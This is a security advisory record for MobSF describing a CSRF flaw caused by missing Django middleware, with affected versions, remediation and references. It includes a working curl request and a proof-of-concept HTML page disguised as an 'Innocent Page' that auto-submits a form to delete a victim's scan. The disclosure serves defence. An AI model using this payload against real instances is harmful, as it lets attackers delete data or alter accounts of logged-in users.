{"id":"PYSEC-2026-3688","summary":"MobSF's CSRF checks not enforced after Django migration","details":"### Summary\n\nDjango's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n    -d \"md5=68e76627798d62555d5287f4488a32c7&scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInnocent Page\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\"\u003e\n  \u003cinput type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" /\u003e\n  \u003cinput type=\"hidden\" name=\"scan_type\" value=\"apk\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('f').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it's gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim's MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.","aliases":["CVE-2026-68923","GHSA-3p54-567p-2wpr"],"modified":"2026-08-19T12:45:05.491081618Z","published":"2026-08-19T11:56:27.721821Z","references":[{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"},{"type":"PACKAGE","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF"},{"type":"WEB","url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"},{"type":"PACKAGE","url":"https://pypi.org/project/mobsf"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3p54-567p-2wpr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68923"}],"affected":[{"package":{"name":"mobsf","ecosystem":"PyPI","purl":"pkg:pypi/mobsf"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.1"}]}],"versions":["3.2.6","3.2.7","3.2.8","3.2.9","3.3.3","3.3.5","3.4.0","3.4.3","3.4.6","3.5.0","3.6.0","3.6.9","3.7.6","3.9.7","4.1.3","4.3.0","4.3.2","4.4.0","4.4.2","4.4.5"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/mobsf/PYSEC-2026-3688.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}